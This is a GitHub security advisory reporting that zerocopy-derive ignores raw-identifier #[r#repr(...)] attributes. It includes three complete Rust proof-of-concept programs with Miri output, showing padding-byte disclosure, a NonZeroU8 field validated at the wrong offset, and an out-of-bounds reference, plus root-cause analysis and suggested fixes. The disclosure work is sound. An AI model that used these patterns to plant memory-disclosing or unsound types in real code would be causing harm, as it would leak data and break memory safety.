Skip to content

Security Advisory: Raw representation attributes bypass layout validation and expose padding bytes #3620

Description

@joshlf

The following was reported by OpenAI via email:

  • Vulnerability Type: Uninitialized-memory read / information disclosure / invalid value construction
  • Affected Software: zerocopy-derive
  • Date: September 2026
  • Discoverer: OpenAI (OutboundDisclosures@openai.com)

Summary

zerocopy-derive silently ignores representation attributes written as #[r#repr(...)], although the Rust compiler applies them. Consequently, safe application code can derive IntoBytes for a type containing padding, TryFromBytes with a validator that checks a different byte than the actual field, or KnownLayout with an incorrect size. We reproduce disclosure of controlled padding residue, acceptance of an invalid NonZeroU8 value, and construction of an eight-byte reference backed by a one-byte allocation.

Exploitation requires an application to already use this valid raw-identifier spelling in a derived type's schema. In a server, an attacker could then supply bytes to the affected parser or observe bytes serialized in a response. An attacker controlling only network input cannot change these compile-time attributes; a schema using ordinary repr spelling does not meet this prerequisite.

The disclosure example deliberately seeds storage with SECRET!! to make the retained bytes observable. It demonstrates that serialization exposes bytes outside the initialized fields; disclosure of another request's secrets depends on the application's storage contents and reuse. The enum parser example accepts attacker-selected bytes that violate a field's validity requirement. The layout parser example accepts an input allocation too small for the returned reference. All three examples produce explicit undefined-behavior diagnostics under Miri. We have not demonstrated remote code execution or exploitation of a deployed service.

Affected versions: The original audit examined public Git revision 2dad389b030e9268d6645ac0bf0626b867e96068. The standalone reproduction below uses published zerocopy 0.8.56 and zerocopy-derive 0.8.56, whose package metadata identifies revision 6dc429c451bdf1d7202ec1ec2cf426514e00d8eb. The affected code is unchanged between these sources. We have not established the affected range of other published releases.

Environment: Native verification used Rust 1.98.1 on macOS arm64. Miri reproduction with nightly-2026-09-04, Rust 1.100.0-nightly (a69a63265, 2026-09-03), and Miri 0.1.0 (a69a63265c).

Sketch of the attack

The application defines a response with one initialized byte:

#[derive(FromBytes, Immutable, IntoBytes)]
#[repr(C)]
#[r#repr(align(8))]
struct Response {
    status: u8,
}

The compiler gives Response size eight and alignment eight. Its only field occupies byte zero; the remaining seven bytes are padding. The derive parser sees repr(C) but misses the alignment attribute, so it incorrectly accepts IntoBytes. Calling as_bytes() exposes all eight bytes.

The second reproduction uses #[repr(C, align(8))] together with #[r#repr(u8)] on an enum. On the tested target, the actual NonZeroU8 field is at byte offset one, but the generated validator checks offset four. A packet containing zero at offset one and one at offset four passes validation.

The third reproduction derives KnownLayout for a one-field struct with the same omitted align(8) attribute. The generated layout records a size of one, while the actual type requires eight bytes. A one-byte input allocation is accepted as backing storage for a reference to the eight-byte type.

Full repro

Save the following as Cargo.toml:

[package]
name = "zerocopy-audit-repro"
version = "0.1.0"
edition = "2024"

[workspace]

[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }

Save the first program before generating the lockfile so that Cargo has a binary target.

Padding disclosure

Save the following as src/bin/raw_repr_serialization.rs:

#![forbid(unsafe_code)]

use zerocopy::{FromBytes, Immutable, IntoBytes};

#[derive(FromBytes, Immutable, IntoBytes)]
#[repr(C)]
#[r#repr(align(8))]
struct Response {
    status: u8,
}

fn main() {
    let mut response = Response::read_from_bytes(b"SECRET!!").unwrap();
    response.status = 42;
    println!("{:?}", response.as_bytes());
    assert_eq!(&response.as_bytes()[1..], b"ECRET!!");
}

Run:

cargo +stable generate-lockfile
cargo +stable run --release --locked --bin raw_repr_serialization

The native run with the published packages exited successfully and printed:

[42, 69, 67, 82, 69, 84, 33, 33]

The response's only field is now 42, but the serialized suffix is still ECRET!!. This is a controlled residue demonstration: the program explicitly supplied the earlier bytes. It does not depend on, or demonstrate, an allocator choosing a particular previously freed allocation.

Run the same program under Miri:

cargo +nightly-2026-09-04 miri run --locked --bin raw_repr_serialization

With the published packages, Miri terminated with an explicit undefined-behavior report:

error: Undefined Behavior: reading memory at alloc294[0x1..0x2], but memory is uninitialized at [0x1..0x2], and this operation requires initialized memory

The allocation identifier can vary. The failure is at the first padding byte when the returned byte slice is read for formatting. Typed values do not guarantee that their padding remains initialized, even when an earlier byte buffer contained values there.

Enum validation at the wrong offset

In the same project, save the following as src/bin/raw_repr_enum.rs:

#![forbid(unsafe_code)]

use zerocopy::{Immutable, KnownLayout, TryFromBytes};

#[derive(Debug, Immutable, KnownLayout, TryFromBytes)]
#[repr(C, align(8))]
#[r#repr(u8)]
enum Packet {
    Value(core::num::NonZeroU8),
    End,
}

#[repr(align(8))]
struct Wire([u8; 8]);

fn main() {
    println!(
        "actual size={} alignment={}",
        core::mem::size_of::<Packet>(),
        core::mem::align_of::<Packet>(),
    );
    let wire = Wire([0, 0, 0, 0, 1, 0, 0, 0]);
    let packet = Packet::try_ref_from_bytes(&wire.0).unwrap();
    println!("{packet:?}");
}

Run:

cargo +nightly-2026-09-04 miri run --locked --bin raw_repr_enum

The packet should be rejected because its Value payload at offset one is zero. In the published-package run, validation succeeded and Miri reported the invalid value when the program formatted the result:

actual size=8 alignment=8
error: Undefined Behavior: constructing invalid value of type std::num::NonZero<u8>: at .0.0, encountered 0, but expected something greater or equal to 1

The Wire wrapper gives the input the required alignment. This reproduction therefore isolates the incorrect field validation.

Reference extends beyond its allocation

In the same project, save the following as src/bin/raw_repr_layout.rs:

#![forbid(unsafe_code)]

use zerocopy::{FromBytes, Immutable, KnownLayout};

#[derive(Debug, FromBytes, Immutable, KnownLayout)]
#[repr(C)]
#[r#repr(align(8))]
struct AlignedPacket(u8);

fn main() {
    println!(
        "actual size={} alignment={}",
        core::mem::size_of::<AlignedPacket>(),
        core::mem::align_of::<AlignedPacket>(),
    );
    let wire = Box::new([42u8]);
    let packet = AlignedPacket::ref_from_bytes(wire.as_slice()).unwrap();
    println!("{packet:?}");
}

Run with the strict-provenance option used for this validation:

MIRIFLAGS='-Zmiri-strict-provenance' \
    cargo +nightly-2026-09-04 miri run --locked --bin raw_repr_layout

With the published packages, Miri reported undefined behavior when ref_from_bytes constructed the reference:

actual size=8 alignment=8
error: Undefined Behavior: constructing invalid value of type &AlignedPacket: encountered a dangling reference (going beyond the bounds of its allocation)

The box contains a one-byte allocation. The compiler applies align(8), so a reference to AlignedPacket requires eight bytes of backing storage. The derived KnownLayout incorrectly describes a one-byte type, allowing the undersized input through the size check. The failure occurs inside NonNull::as_ref before the reference is returned to the caller.

Root cause

The links below refer to the original audited revision 2dad389b030e9268d6645ac0bf0626b867e96068. The same affected code is present in published zerocopy 0.8.56 and zerocopy-derive 0.8.56, whose package metadata identifies revision 6dc429c451bdf1d7202ec1ec2cf426514e00d8eb.

  1. The representation-attribute parser processes an attribute only when meta_list.path.is_ident("repr") succeeds. That comparison does not match the raw spelling r#repr, so the parser silently omits its contents. Rust's raw-identifier rule says that the r# prefix is not part of the actual identifier; the compiler applies the omitted attribute.
  2. The single-field repr(C) branch of IntoBytes skips the padding check when it sees no alignment modifier greater than one. For Response, that premise is false. IntoBytes::as_bytes then uses the actual size_of_val and trusts the generated trait implementation to guarantee initialization of every exposed byte.
  3. For the enum, generate_tag_enum and derive_is_bit_valid build a repr(C) helper after the parser has discarded repr(u8). On the tested target, the helper's tag occupies four bytes and its payload starts at offset four; the original enum's tag occupies one byte and its payload starts at offset one.
  4. The generated validator treats this helper as layout-equivalent to the original enum and validates the helper's fields. Both types have total size eight in the reproduction, so a size check cannot detect the different field offsets. The bytes at offsets zero through three decode as the helper's Value tag, and the nonzero byte at offset four passes its field check, leaving the actual zero-valued NonZeroU8 at offset one unvalidated.
  5. KnownLayout generation extracts the alignment from the same incomplete representation and constructs LAYOUT from the field layouts. For AlignedPacket(u8), this records size one and alignment one instead of eight. FromBytes::ref_from_bytes trusts that layout when checking the input, then constructs a reference whose actual size exceeds the allocation.

The parser should normalize raw identifiers before recognizing representation attributes, and regression tests should exercise both spellings. A fix must prevent deriving IntoBytes for the padded response, must either reject the enum representation or validate the actual enum fields, and must compute the full backing-storage requirements for KnownLayout.

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions